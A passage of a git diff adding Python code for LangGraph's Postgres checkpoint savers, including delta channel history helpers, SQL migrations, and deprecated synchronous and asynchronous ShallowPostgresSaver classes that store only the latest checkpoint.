walk as far as possible. + + Uses the partial `parent_of` map accumulated so far. A walk stops + either because: + (a) it found a snapshot for its channel (channel becomes seeded), + (b) it reached a real root (parent_of[cid] is None — fully + materialized at this point), or + (c) the next ancestor cid isn't in `parent_of` yet (waiting for + a later page; the cursor stays put). + + Mutates `chain_by_ch`, `seed_ver_by_ch`, `walk_cursor_by_ch`, and + `seeded` in place. + """ + for i, ch in enumerate(channels): + if ch in seeded: + continue + # First-time entry: cursor starts at the target's parent. + if ch not in walk_cursor_by_ch: + walk_cursor_by_ch[ch] = parent_of.get(target_id) + cur_cid = walk_cursor_by_ch[ch] + ch_chain = chain_by_ch[ch] + hs_i = hs_by_i_by_cid[i] + ver_i = ver_by_i_by_cid[i] + while cur_cid is not None: + if cur_cid not in parent_of: + # Need more pages to continue this walk. + break + ch_chain.append(cur_cid) + if hs_i.get(cur_cid, False): + seed_ver_by_ch[ch] = ver_i.get(cur_cid) + seeded.add(ch) + cur_cid = None + break + cur_cid = parent_of[cur_cid] + walk_cursor_by_ch[ch] = cur_cid + + def _build_delta_channels_writes_history( + self, + *, + channels: Sequence[str], + chain_by_ch: Mapping[str, list[str]], + seed_ver_by_ch: Mapping[str, str | None], + stage2_rows: Sequence[_DeltaStage2Row], + ) -> dict[str, DeltaChannelHistory]: + """Demux stage 2 rows per channel; produce per-channel histories. + + stage2_rows carry `channel` on every row. We build per-channel + `writes_by_cid` and per-channel `seed_blob` dicts, then assemble + a `DeltaChannelHistory` per requested channel. The `seed` key is omitted + when the walk reached root with no snapshot found, or when the + seed blob is sentinel "empty" — in both cases the consumer treats + absence as "start empty". + """ + # writes_by_ch_by_cid[channel][cid] = list of (type, blob, task_id, idx) + writes_by_ch_by_cid: dict[str, dict[str, list[tuple[str, bytes, str, int]]]] = { + ch: {} for ch in channels + } + # seed_blob_by_ver[(channel, version)] = (type, blob) + seed_blob_by_ver: dict[tuple[str, str], tuple[str, bytes]] = {} + + for r in stage2_rows: + ch = cast(str, r["channel"]) + kind = r["_kind"] + if kind == "w": + cid = cast(str, r["checkpoint_id"]) + writes_by_ch_by_cid.setdefault(ch, {}).setdefault(cid, []).append( + cast( + "tuple[str, bytes, str, int]", + (r["type"], r["blob"], r["task_id"], r["idx"]), + ) + ) + else: # kind == "b" + ver = cast(str, r["version"]) + seed_blob_by_ver[(ch, ver)] = cast( + "tuple[str, bytes]", (r["type"], r["blob"]) + ) + + # Sort writes per (channel, cid) newest-first by (task_id, idx) + for cid_map in writes_by_ch_by_cid.values(): + for ws in cid_map.values(): + ws.sort(key=lambda w: (w[2], w[3]), reverse=True) + + result: dict[str, DeltaChannelHistory] = {} + for ch in channels: + chain_cids = chain_by_ch.get(ch, []) + seed_version = seed_ver_by_ch.get(ch) + + collected: list[PendingWrite] = [] + cid_writes = writes_by_ch_by_cid.get(ch, {}) + for cid in chain_cids: + for type_tag, write_blob, task_id, _idx in cid_writes.get(cid, []): + val = self.serde.loads_typed((type_tag, write_blob)) + collected.append((task_id, ch, val)) + collected.reverse() + + entry: DeltaChannelHistory = {"writes": collected} + if seed_version is not None: + blob = seed_blob_by_ver.get((ch, seed_version)) + if blob is not None and blob[0] != "empty": + entry["seed"] = self.serde.loads_typed(blob) + result[ch] = entry + return result + + def _dump_blobs( + self, + thread_id: str, + checkpoint_ns: str, + values: dict[str, Any], + versions: ChannelVersions, + ) -> list[tuple[str, str, str, str, str, bytes | None]]: + if not versions: + return [] + + return [ + ( + thread_id, + checkpoint_ns, + k, + cast(str, ver), + *( + self.serde.dumps_typed(values[k]) + if k in values + else ("empty", None) + ), + ) + for k, ver in versions.items() + ] + + def _load_writes( + self, writes: list[tuple[bytes, bytes, bytes, bytes]] + ) -> list[tuple[str, str, Any]]: + return ( + [ + ( + tid.decode(), + channel.decode(), + self.serde.loads_typed((t.decode(), v)), + ) + for tid, channel, t, v in writes + ] + if writes + else [] + ) + + def _dump_writes( + self, + thread_id: str, + checkpoint_ns: str, + checkpoint_id: str, + task_id: str, + task_path: str, + writes: Sequence[tuple[str, Any]], + ) -> list[tuple[str, str, str, str, str, int, str, str, bytes]]: + return [ + ( + thread_id, + checkpoint_ns, + checkpoint_id, + task_id, + task_path, + WRITES_IDX_MAP.get(channel, idx), + channel, + *self.serde.dumps_typed(value), + ) + for idx, (channel, value) in enumerate(writes) + ] + + def get_next_version(self, current: str | None, channel: None) -> str: + if current is None: + current_v = 0 + elif isinstance(current, int): + current_v = current + else: + current_v = int(current.split(".")[0]) + next_v = current_v + 1 + next_h = random.random() + return f"{next_v:032}.{next_h:016}" + + def _search_where( + self, + config: RunnableConfig | None, + filter: MetadataInput, + before: RunnableConfig | None = None, + ) -> tuple[str, list[Any]]: + """Return WHERE clause predicates for alist() given config, filter, before. + + This method returns a tuple of a string and a tuple of values. The string + is the parametered WHERE clause predicate (including the WHERE keyword): + "WHERE column1 = $1 AND column2 IS $2". The list of values contains the + values for each of the corresponding parameters. + """ + wheres = [] + param_values = [] + + # construct predicate for config filter + if config: + wheres.append("thread_id = %s ") + param_values.append(config["configurable"]["thread_id"]) + checkpoint_ns = config["configurable"].get("checkpoint_ns") + if checkpoint_ns is not None: + wheres.append("checkpoint_ns = %s") + param_values.append(checkpoint_ns) + + if checkpoint_id := get_checkpoint_id(config): + wheres.append("checkpoint_id = %s ") + param_values.append(checkpoint_id) + + # construct predicate for metadata filter + if filter: + wheres.append("metadata @> %s ") + param_values.append(Jsonb(filter)) + + # construct predicate for `before` + if before is not None: + wheres.append("checkpoint_id < %s ") + param_values.append(get_checkpoint_id(before)) + + return ( + "WHERE " + " AND ".join(wheres) if wheres else "", + param_values, + ) diff --git a/libs/checkpoint-postgres/langgraph/checkpoint/postgres/py.typed b/libs/checkpoint-postgres/langgraph/checkpoint/postgres/py.typed new file mode 100644 index 0000000..e69de29 diff --git a/libs/checkpoint-postgres/langgraph/checkpoint/postgres/shallow.py b/libs/checkpoint-postgres/langgraph/checkpoint/postgres/shallow.py new file mode 100644 index 0000000..90fc95e --- /dev/null +++ b/libs/checkpoint-postgres/langgraph/checkpoint/postgres/shallow.py @@ -0,0 +1,967 @@ +import asyncio +import threading +import warnings +from collections.abc import AsyncIterator, Iterator, Sequence +from contextlib import asynccontextmanager, contextmanager +from typing import Any + +from langchain_core.runnables import RunnableConfig +from langgraph.checkpoint.base import ( + WRITES_IDX_MAP, + ChannelVersions, + Checkpoint, + CheckpointMetadata, + CheckpointTuple, + get_serializable_checkpoint_metadata, +) +from langgraph.checkpoint.serde.base import SerializerProtocol +from langgraph.checkpoint.serde.types import TASKS +from psycopg import ( + AsyncConnection, + AsyncCursor, + AsyncPipeline, + Capabilities, + Connection, + Cursor, + Pipeline, +) +from psycopg.rows import DictRow, dict_row +from psycopg.types.json import Jsonb +from psycopg_pool import AsyncConnectionPool, ConnectionPool + +from langgraph.checkpoint.postgres import _ainternal, _internal +from langgraph.checkpoint.postgres.base import BasePostgresSaver + +""" +To add a new migration, add a new string to the MIGRATIONS list. +The position of the migration in the list is the version number. +""" +MIGRATIONS = [ + """CREATE TABLE IF NOT EXISTS checkpoint_migrations ( + v INTEGER PRIMARY KEY +);""", + """CREATE TABLE IF NOT EXISTS checkpoints ( + thread_id TEXT NOT NULL, + checkpoint_ns TEXT NOT NULL DEFAULT '', + type TEXT, + checkpoint JSONB NOT NULL, + metadata JSONB NOT NULL DEFAULT '{}', + PRIMARY KEY (thread_id, checkpoint_ns) +);""", + """CREATE TABLE IF NOT EXISTS checkpoint_blobs ( + thread_id TEXT NOT NULL, + checkpoint_ns TEXT NOT NULL DEFAULT '', + channel TEXT NOT NULL, + type TEXT NOT NULL, + blob BYTEA, + PRIMARY KEY (thread_id, checkpoint_ns, channel) +);""", + """CREATE TABLE IF NOT EXISTS checkpoint_writes ( + thread_id TEXT NOT NULL, + checkpoint_ns TEXT NOT NULL DEFAULT '', + checkpoint_id TEXT NOT NULL, + task_id TEXT NOT NULL, + idx INTEGER NOT NULL, + channel TEXT NOT NULL, + type TEXT, + blob BYTEA NOT NULL, + PRIMARY KEY (thread_id, checkpoint_ns, checkpoint_id, task_id, idx) +);""", + """ + CREATE INDEX CONCURRENTLY IF NOT EXISTS checkpoints_thread_id_idx ON checkpoints(thread_id); + """, + """ + CREATE INDEX CONCURRENTLY IF NOT EXISTS checkpoint_blobs_thread_id_idx ON checkpoint_blobs(thread_id); + """, + """ + CREATE INDEX CONCURRENTLY IF NOT EXISTS checkpoint_writes_thread_id_idx ON checkpoint_writes(thread_id); + """, + """ + ALTER TABLE checkpoint_writes ADD COLUMN IF NOT EXISTS task_path TEXT NOT NULL DEFAULT ''; + """, +] + +SELECT_SQL = f""" +select + thread_id, + checkpoint, + checkpoint_ns, + metadata, + ( + select array_agg(array[bl.channel::bytea, bl.type::bytea, bl.blob]) + from jsonb_each_text(checkpoint -> 'channel_versions') + inner join checkpoint_blobs bl + on bl.thread_id = checkpoints.thread_id + and bl.checkpoint_ns = checkpoints.checkpoint_ns + and bl.channel = jsonb_each_text.key + ) as channel_values, + ( + select + array_agg(array[cw.task_id::text::bytea, cw.channel::bytea, cw.type::bytea, cw.blob] order by cw.task_id, cw.idx) + from checkpoint_writes cw + where cw.thread_id = checkpoints.thread_id + and cw.checkpoint_ns = checkpoints.checkpoint_ns + and cw.checkpoint_id = (checkpoint->>'id') + ) as pending_writes, + ( + select array_agg(array[cw.type::bytea, cw.blob] order by cw.task_path, cw.task_id, cw.idx) + from checkpoint_writes cw + where cw.thread_id = checkpoints.thread_id + and cw.checkpoint_ns = checkpoints.checkpoint_ns + and cw.channel = '{TASKS}' + ) as pending_sends +from checkpoints """ + +UPSERT_CHECKPOINT_BLOBS_SQL = """ + INSERT INTO checkpoint_blobs (thread_id, checkpoint_ns, channel, type, blob) + VALUES (%s, %s, %s, %s, %s) + ON CONFLICT (thread_id, checkpoint_ns, channel) DO UPDATE SET + type = EXCLUDED.type, + blob = EXCLUDED.blob; +""" + +UPSERT_CHECKPOINTS_SQL = """ + INSERT INTO checkpoints (thread_id, checkpoint_ns, checkpoint, metadata) + VALUES (%s, %s, %s, %s) + ON CONFLICT (thread_id, checkpoint_ns) + DO UPDATE SET + checkpoint = EXCLUDED.checkpoint, + metadata = EXCLUDED.metadata; +""" + +UPSERT_CHECKPOINT_WRITES_SQL = """ + INSERT INTO checkpoint_writes (thread_id, checkpoint_ns, checkpoint_id, task_id, task_path, idx, channel, type, blob) + VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s) + ON CONFLICT (thread_id, checkpoint_ns, checkpoint_id, task_id, idx) DO UPDATE SET + channel = EXCLUDED.channel, + type = EXCLUDED.type, + blob = EXCLUDED.blob; +""" + +INSERT_CHECKPOINT_WRITES_SQL = """ + INSERT INTO checkpoint_writes (thread_id, checkpoint_ns, checkpoint_id, task_id, task_path, idx, channel, type, blob) + VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s) + ON CONFLICT (thread_id, checkpoint_ns, checkpoint_id, task_id, idx) DO NOTHING +""" + + +def _dump_blobs( + serde: SerializerProtocol, + thread_id: str, + checkpoint_ns: str, + values: dict[str, Any], + versions: ChannelVersions, +) -> list[tuple[str, str, str, str, bytes | None]]: + if not versions: + return [] + + return [ + ( + thread_id, + checkpoint_ns, + k, + *(serde.dumps_typed(values[k]) if k in values else ("empty", None)), + ) + for k in versions + ] + + +class ShallowPostgresSaver(BasePostgresSaver): + """A checkpoint saver that uses Postgres to store checkpoints. + + This checkpointer ONLY stores the most recent checkpoint and does NOT retain any history. + It is meant to be a light-weight drop-in replacement for the PostgresSaver that + supports most of the LangGraph persistence functionality with the exception of time travel. + """ + + SELECT_SQL = SELECT_SQL + MIGRATIONS = MIGRATIONS + UPSERT_CHECKPOINT_BLOBS_SQL = UPSERT_CHECKPOINT_BLOBS_SQL + UPSERT_CHECKPOINTS_SQL = UPSERT_CHECKPOINTS_SQL + UPSERT_CHECKPOINT_WRITES_SQL = UPSERT_CHECKPOINT_WRITES_SQL + INSERT_CHECKPOINT_WRITES_SQL = INSERT_CHECKPOINT_WRITES_SQL + + lock: threading.Lock + + def __init__( + self, + conn: _internal.Conn, + pipe: Pipeline | None = None, + serde: SerializerProtocol | None = None, + ) -> None: + warnings.warn( + "ShallowPostgresSaver is deprecated as of version 2.0.20 and will be removed in 3.0.0. " + "Use PostgresSaver instead, and invoke the graph with `graph.invoke(..., durability='exit')`.", + DeprecationWarning, + stacklevel=2, + ) + super().__init__(serde=serde) + if isinstance(conn, ConnectionPool) and pipe is not None: + raise ValueError( + "Pipeline should be used only with a single Connection, not ConnectionPool." + ) + + self.conn = conn + self.pipe = pipe + self.lock = threading.Lock() + self.supports_pipeline = Capabilities().has_pipeline() + + @classmethod + @contextmanager + def from_conn_string( + cls, conn_string: str, *, pipeline: bool = False + ) -> Iterator["ShallowPostgresSaver"]: + """Create a new ShallowPostgresSaver instance from a connection string. + + Args: + conn_string: The Postgres connection info string. + pipeline: whether to use Pipeline + + Returns: + ShallowPostgresSaver: A new ShallowPostgresSaver instance. + """ + with Connection.connect( + conn_string, autocommit=True, prepare_threshold=0, row_factory=dict_row + ) as conn: + if pipeline: + with conn.pipeline() as pipe: + yield cls(conn, pipe) + else: + yield cls(conn) + + def setup(self) -> None: + """Set up the checkpoint database asynchronously. + + This method creates the necessary tables in the Postgres database if they don't + already exist and runs database migrations. It MUST be called directly by the user + the first time checkpointer is used. + """ + with self._cursor() as cur: + cur.execute(self.MIGRATIONS[0]) + results = cur.execute( + "SELECT v FROM checkpoint_migrations ORDER BY v DESC LIMIT 1" + ) + row = results.fetchone() + if row is None: + version = -1 + else: + version = row["v"] + for v, migration in zip( + range(version + 1, len(self.MIGRATIONS)), + self.MIGRATIONS[version + 1 :], + strict=False, + ): + cur.execute(migration) + cur.execute("INSERT INTO checkpoint_migrations (v) VALUES (%s)", (v,)) + if self.pipe: + self.pipe.sync() + + def list( + self, + config: RunnableConfig | None, + *, + filter: dict[str, Any] | None = None, + before: RunnableConfig | None = None, + limit: int | None = None, + ) -> Iterator[CheckpointTuple]: + """List checkpoints from the database. + + This method retrieves a list of checkpoint tuples from the Postgres database based + on the provided config. For ShallowPostgresSaver, this method returns a list with + ONLY the most recent checkpoint. + """ + where, args = self._search_where(config, filter, before) + query = self.SELECT_SQL + where + params = list(args) + if limit is not None: + query += " LIMIT %s" + params.append(int(limit)) + with self._cursor() as cur: + cur.execute(query, params, binary=True) + for value in cur: + checkpoint: Checkpoint = { + **value["checkpoint"], + "channel_values": self._load_blobs(value["channel_values"]), + "pending_sends": [ + self.serde.loads_typed((t.decode(), v)) + for t, v in value["pending_sends"] + ] + if value["pending_sends"] + else [], + } + yield CheckpointTuple( + config={ + "configurable": { + "thread_id": value["thread_id"], + "checkpoint_ns": value["checkpoint_ns"], + "checkpoint_id": checkpoint["id"], + } + }, + checkpoint=checkpoint, + metadata=value["metadata"], + pending_writes=self._load_writes(value["pending_writes"]), + ) + + def get_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + """Get a checkpoint tuple from the database. + + This method retrieves a checkpoint tuple from the Postgres database based on the + provided config (matching the thread ID in the config). + + Args: + config: The config to use for retrieving the checkpoint. + + Returns: + The retrieved checkpoint tuple, or None if no matching checkpoint was found. + + Examples: + + Basic: + >>> config = {"configurable": {"thread_id": "1"}} + >>> checkpoint_tuple = memory.get_tuple(config) + >>> print(checkpoint_tuple) + CheckpointTuple(...) + + With timestamp: + + >>> config = { + ... "configurable": { + ... "thread_id": "1", + ... "checkpoint_ns": "", + ... "checkpoint_id": "1ef4f797-8335-6428-8001-8a1503f9b875", + ... } + ... } + >>> checkpoint_tuple = memory.get_tuple(config) + >>> print(checkpoint_tuple) + CheckpointTuple(...) + """ # noqa + thread_id = config["configurable"]["thread_id"] + checkpoint_ns = config["configurable"].get("checkpoint_ns", "") + args = (thread_id, checkpoint_ns) + where = "WHERE thread_id = %s AND checkpoint_ns = %s" + + with self._cursor() as cur: + cur.execute( + self.SELECT_SQL + where, + args, + binary=True, + ) + + for value in cur: + checkpoint: Checkpoint = { + **value["checkpoint"], + "channel_values": self._load_blobs(value["channel_values"]), + "pending_sends": [ + self.serde.loads_typed((t.decode(), v)) + for t, v in value["pending_sends"] + ] + if value["pending_sends"] + else [], + } + return CheckpointTuple( + config={ + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": checkpoint["id"], + } + }, + checkpoint=checkpoint, + metadata=value["metadata"], + pending_writes=self._load_writes(value["pending_writes"]), + ) + + def put( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + """Save a checkpoint to the database. + + This method saves a checkpoint to the Postgres database. The checkpoint is associated + with the provided config. For ShallowPostgresSaver, this method saves ONLY the most recent + checkpoint and overwrites a previous checkpoint, if it exists. + + Args: + config: The config to associate with the checkpoint. + checkpoint: The checkpoint to save. + metadata: Additional metadata to save with the checkpoint. + new_versions: New channel versions as of this write. + + Returns: + RunnableConfig: Updated configuration after storing the checkpoint. + + Examples: + + >>> from langgraph.checkpoint.postgres import ShallowPostgresSaver + >>> DB_URI = "postgres://postgres:postgres@localhost:5432/postgres?sslmode=disable" + >>> with ShallowPostgresSaver.from_conn_string(DB_URI) as memory: + >>> config = {"configurable": {"thread_id": "1", "checkpoint_ns": ""}} + >>> checkpoint = {"ts": "2024-05-04T06:32:42.235444+00:00", "id": "1ef4f797-8335-6428-8001-8a1503f9b875", "channel_values": {"key": "value"}} + >>> saved_config = memory.put(config, checkpoint, {"source": "input", "step": 1, "writes": {"key": "value"}}, {}) + >>> print(saved_config) + {'configurable': {'thread_id': '1', 'checkpoint_ns': '', 'checkpoint_id': '1ef4f797-8335-6428-8001-8a1503f9b875'}} + """ + configurable = config["configurable"].copy() + thread_id = configurable.pop("thread_id") + checkpoint_ns = configurable.pop("checkpoint_ns") + + copy = checkpoint.copy() + next_config = { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": checkpoint["id"], + } + } + + with self._cursor(pipeline=True) as cur: + cur.execute( + """DELETE FROM checkpoint_writes + WHERE thread_id = %s AND checkpoint_ns = %s AND checkpoint_id NOT IN (%s, %s)""", + ( + thread_id, + checkpoint_ns, + checkpoint["id"], + configurable.get("checkpoint_id", ""), + ), + ) + cur.executemany( + self.UPSERT_CHECKPOINT_BLOBS_SQL, + _dump_blobs( + self.serde, + thread_id, + checkpoint_ns, + copy.pop("channel_values"), # type: ignore[misc] + new_versions, + ), + ) + cur.execute( + self.UPSERT_CHECKPOINTS_SQL, + ( + thread_id, + checkpoint_ns, + Jsonb(copy), + Jsonb(get_serializable_checkpoint_metadata(config, metadata)), + ), + ) + return next_config + + def put_writes( + self, + config: RunnableConfig, + writes: Sequence[tuple[str, Any]], + task_id: str, + task_path: str = "", + ) -> None: + """Store intermediate writes linked to a checkpoint. + + This method saves intermediate writes associated with a checkpoint to the Postgres database. + + Args: + config: Configuration of the related checkpoint. + writes: List of writes to store. + task_id: Identifier for the task creating the writes. + """ + query = ( + self.UPSERT_CHECKPOINT_WRITES_SQL + if all(w[0] in WRITES_IDX_MAP for w in writes) + else self.INSERT_CHECKPOINT_WRITES_SQL + ) + with self._cursor(pipeline=True) as cur: + cur.executemany( + query, + self._dump_writes( + config["configurable"]["thread_id"], + config["configurable"]["checkpoint_ns"], + config["configurable"]["checkpoint_id"], + task_id, + task_path, + writes, + ), + ) + + @contextmanager + def _cursor(self, *, pipeline: bool = False) -> Iterator[Cursor[DictRow]]: + """Create a database cursor as a context manager. + + Args: + pipeline: whether to use pipeline for the DB operations inside the context manager. + Will be applied regardless of whether the ShallowPostgresSaver instance was initialized with a pipeline. + If pipeline mode is not supported, will fall back to using transaction context manager. + """ + with _internal.get_connection(self.conn) as conn: + if self.pipe: + # a connection in pipeline mode can be used concurrently + # in multiple threads/coroutines, but only one cursor can be + # used at a time + try: + with conn.cursor(binary=True, row_factory=dict_row) as cur: + yield cur + finally: + if pipeline: + self.pipe.sync() + elif pipeline: + # a connection not in pipeline mode can only be used by one + # thread/coroutine at a time, so we acquire a lock + if self.supports_pipeline: + with ( + self.lock, + conn.pipeline(), + conn.cursor(binary=True, row_factory=dict_row) as cur, + ): + yield cur + else: + # Use connection's transaction context manager when pipeline mode not supported + with ( + self.lock, + conn.transaction(), + conn.cursor(binary=True, row_factory=dict_row) as cur, + ): + yield cur + else: + with self.lock, conn.cursor(binary=True, row_factory=dict_row) as cur: + yield cur + + +class AsyncShallowPostgresSaver(BasePostgresSaver): + """A checkpoint saver that uses Postgres to store checkpoints asynchronously. + + This checkpointer ONLY stores the most recent checkpoint and does NOT retain any history. + It is meant to be a light-weight drop-in replacement for the AsyncPostgresSaver that + supports most of the LangGraph persistence functionality with the exception of time travel. + """ + + SELECT_SQL = SELECT_SQL + MIGRATIONS = MIGRATIONS + UPSERT_CHECKPOINT_BLOBS_SQL = UPSERT_CHECKPOINT_BLOBS_SQL + UPSERT_CHECKPOINTS_SQL = UPSERT_CHECKPOINTS_SQL + UPSERT_CHECKPOINT_WRITES_SQL = UPSERT_CHECKPOINT_WRITES_SQL + INSERT_CHECKPOINT_WRITES_SQL = INSERT_CHECKPOINT_WRITES_SQL + lock: asyncio.Lock + + def __init__( + self, + conn: _ainternal.Conn, + pipe: AsyncPipeline | None = None, + serde: SerializerProtocol | None = None, + ) -> None: + warnings.warn( + "AsyncShallowPostgresSaver is deprecated as of version 2.0.20 and will be removed in 3.0.0. " + "Use AsyncPostgresSaver instead, and invoke the graph with `await graph.ainvoke(..., durability='exit')`.", + DeprecationWarning, + stacklevel=2, + ) + super().__init__(serde=serde) + if isinstance(conn, AsyncConnectionPool) and pipe is not None: + raise ValueError( + "Pipeline should be used only with a single AsyncConnection, not AsyncConnectionPool." + ) + + self.conn = conn + self.pipe = pipe + self.lock = asyncio.Lock() + self.loop = asyncio.get_running_loop() + self.supports_pipeline = Capabilities().has_pipeline() + + @classmethod + @asynccontextmanager + async def from_conn_string( + cls, + conn_string: str, + *, + pipeline: bool = False, + serde: SerializerProtocol | None = None, + ) -> AsyncIterator["AsyncShallowPostgresSaver"]: + """Create a new AsyncShallowPostgresSaver instance from a connection string. + + Args: + conn_string: The Postgres connection info string. + pipeline: whether to use AsyncPipeline + + Returns: + AsyncShallowPostgresSaver: A new AsyncShallowPostgresSaver instance. + """ + async with await AsyncConnection.connect( + conn_string, autocommit=True, prepare_threshold=0, row_factory=dict_row + ) as conn: + if pipeline: + async with conn.pipeline() as pipe: + yield cls(conn=conn, pipe=pipe, serde=serde) + else: + yield cls(conn=conn, serde=serde) + + async def setup(self) -> None: + """Set up the checkpoint database asynchronously. + + This method creates the necessary tables in the Postgres database if they don't + already exist and runs database migrations. It MUST be called directly by the user + the first time checkpointer is used. + """ + async with self._cursor() as cur: + await cur.execute(self.MIGRATIONS[0]) + results = await cur.execute( + "SELECT v FROM checkpoint_migrations ORDER BY v DESC LIMIT 1" + ) + row = await results.fetchone() + if row is None: + version = -1 + else: + version = row["v"] + for v, migration in zip( + range(version + 1, len(self.MIGRATIONS)), + self.MIGRATIONS[version + 1 :], + strict=False, + ): + await cur.execute(migration) + await cur.execute( + "INSERT INTO checkpoint_migrations (v) VALUES (%s)", (v,) + ) + if self.pipe: + await self.pipe.sync() + + async def alist( + self, + config: RunnableConfig | None, + *, + filter: dict[str, Any] | None = None, + before: RunnableConfig | None = None, + limit: int | None = None, + ) -> AsyncIterator[CheckpointTuple]: + """List checkpoints from the database asynchronously. + + This method retrieves a list of checkpoint tuples from the Postgres database based + on the provided config. For ShallowPostgresSaver, this method returns a list with + ONLY the most recent checkpoint. + """ + where, args = self._search_where(config, filter, before) + query = self.SELECT_SQL + where + params = list(args) + if limit is not None: + query += " LIMIT %s" + params.append(int(limit)) + async with self._cursor() as cur: + await cur.execute(query, params, binary=True) + async for value in cur: + checkpoint: Checkpoint = { + **value["checkpoint"], + "channel_values": self._load_blobs(value["channel_values"]), + "pending_sends": [ + self.serde.loads_typed((t.decode(), v)) + for t, v in value["pending_sends"] + ] + if value["pending_sends"] + else [], + } + yield CheckpointTuple( + config={ + "configurable": { + "thread_id": value["thread_id"], + "checkpoint_ns": value["checkpoint_ns"], + "checkpoint_id": checkpoint["id"], + } + }, + checkpoint=checkpoint, + metadata=value["metadata"], + pending_writes=await asyncio.to_thread( + self._load_writes, value["pending_writes"] + ), + ) + + async def aget_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + """Get a checkpoint tuple from the database asynchronously. + + This method retrieves a checkpoint tuple from the Postgres database based on the + provided config (matching the thread ID in the config). + + Args: + config: The config to use for retrieving the checkpoint. + + Returns: + The retrieved checkpoint tuple, or None if no matching checkpoint was found. + """ + thread_id = config["configurable"]["thread_id"] + checkpoint_ns = config["configurable"].get("checkpoint_ns", "") + args = (thread_id, checkpoint_ns) + where = "WHERE thread_id = %s AND checkpoint_ns = %s" + + async with self._cursor() as cur: + await cur.execute( + self.SELECT_SQL + where, + args, + binary=True, + ) + + async for value in cur: + checkpoint: Checkpoint = { + **value["checkpoint"], + "channel_values": self._load_blobs(value["channel_values"]), + "pending_sends": [ + self.serde.loads_typed((t.decode(), v)) + for t, v in value["pending_sends"] + ] + if value["pending_sends"] + else [], + } + return CheckpointTuple( + config={ + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": checkpoint["id"], + } + }, + checkpoint=checkpoint, + metadata=value["metadata"], + pending_writes=await asyncio.to_thread( + self._load_writes, value["pending_writes"] + ), + ) + + async def aput( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + """Save a checkpoint to the database asynchronously. + + This method saves a checkpoint to the Postgres database. The checkpoint is associated + with the provided config. For AsyncShallowPostgresSaver, this method saves ONLY the most recent + checkpoint and overwrites a previous checkpoint, if it exists. + + Args: + config: The config to associate with the checkpoint. + checkpoint: The checkpoint to save. + metadata: Additional metadata to save with the checkpoint. + new_versions: New channel versions as of this write. + + Returns: + RunnableConfig: Updated configuration after storing the checkpoint. + """ + configurable = config["configurable"].copy() + thread_id = configurable.pop("thread_id") + checkpoint_ns = configurable.pop("checkpoint_ns") + + copy = checkpoint.copy() + next_config = { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": checkpoint["id"], + } + } + + async with self._cursor(pipeline=True) as cur: + await cur.execute( + """DELETE FROM checkpoint_writes + WHERE thread_id = %s AND checkpoint_ns = %s AND checkpoint_id NOT IN (%s, %s)""", + ( + thread_id, + checkpoint_ns, + checkpoint["id"], + configurable.get("checkpoint_id", ""), + ), + ) + await cur.executemany( + self.UPSERT_CHECKPOINT_BLOBS_SQL, + _dump_blobs( + self.serde, + thread_id, + checkpoint_ns, + copy.pop("channel_values"), # type: ignore[misc] + new_versions, + ), + ) + await cur.execute( + self.UPSERT_CHECKPOINTS_SQL, + ( + thread_id, + checkpoint_ns, + Jsonb(copy), + Jsonb(get_serializable_checkpoint_metadata(config, metadata)), + ), + ) + return next_config + + async def aput_writes( + self, + config: RunnableConfig, + writes: Sequence[tuple[str, Any]], + task_id: str, + task_path: str = "", + ) -> None: + """Store intermediate writes linked to a checkpoint asynchronously. + + This method saves intermediate writes associated with a checkpoint to the database. + + Args: + config: Configuration of the related checkpoint. + writes: List of writes to store, each as (channel, value) pair. + task_id: Identifier for the task creating the writes. + """ + query = ( + self.UPSERT_CHECKPOINT_WRITES_SQL + if all(w[0] in WRITES_IDX_MAP for w in writes) + else self.INSERT_CHECKPOINT_WRITES_SQL + ) + params = await asyncio.to_thread( + self._dump_writes, + config["configurable"]["thread_id"], + config["configurable"]["checkpoint_ns"], + config["configurable"]["checkpoint_id"], + task_id, + task_path, + writes, + ) + async with self._cursor(pipeline=True) as cur: + await cur.executemany(query, params) + + @asynccontextmanager + async def _cursor( + self, *, pipeline: bool = False + ) -> AsyncIterator[AsyncCursor[DictRow]]: + """Create a database cursor as a context manager. + + Args: + pipeline: whether to use pipeline for the DB operations inside the context manager. + Will be applied regardless of whether the AsyncShallowPostgresSaver instance was initialized with a pipeline. + If pipeline mode is not supported, will fall back to using transaction context manager. + """ + async with _ainternal.get_connection(self.conn) as conn: + if self.pipe: + # a connection in pipeline mode can be used concurrently + # in multiple threads/coroutines, but only one cursor can be + # used at a time + try: + async with conn.cursor(binary=True, row_factory=dict_row) as cur: + yield cur + finally: + if pipeline: + await self.pipe.sync() + elif pipeline: + # a connection not in pipeline mode can only be used by one + # thread/coroutine at a time, so we acquire a lock + if self.supports_pipeline: + async with ( + self.lock, + conn.pipeline(), + conn.cursor(binary=True, row_factory=dict_row) as cur, + ): + yield cur + else: + # Use connection's transaction context manager when pipeline mode not supported + async with ( + self.lock, + conn.transaction(), + conn.cursor(binary=True, row_factory=dict_row) as cur, + ): + yield cur + else: + async with ( + self.lock, + conn.cursor(binary=True, row_factory=dict_row) as cur, + ): + yield cur + + def list( + self, + config: RunnableConfig | None, + *, + filter: dict[str, Any] | None = None, + before: RunnableConfig | None = None, + limit: int | None = None, + ) -> Iterator[CheckpointTuple]: + """List checkpoints from the database. + + This method retrieves a list of checkpoint tuples from the Postgres database based + on the provided config. For ShallowPostgresSaver, this method returns a list with + ONLY the most recent checkpoint. + """ + aiter_ = self.alist(config, filter=filter, before=before, limit=limit) + while True: + try: + yield asyncio.run_coroutine_threadsafe( + anext(aiter_), # type: ignore[arg-type] # noqa: F821 + self.loop, + ).result() + except StopAsyncIteration: + break + + def get_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + """Get a checkpoint tuple from the database. + + This method retrieves a checkpoint tuple from the Postgres database based on the + provided 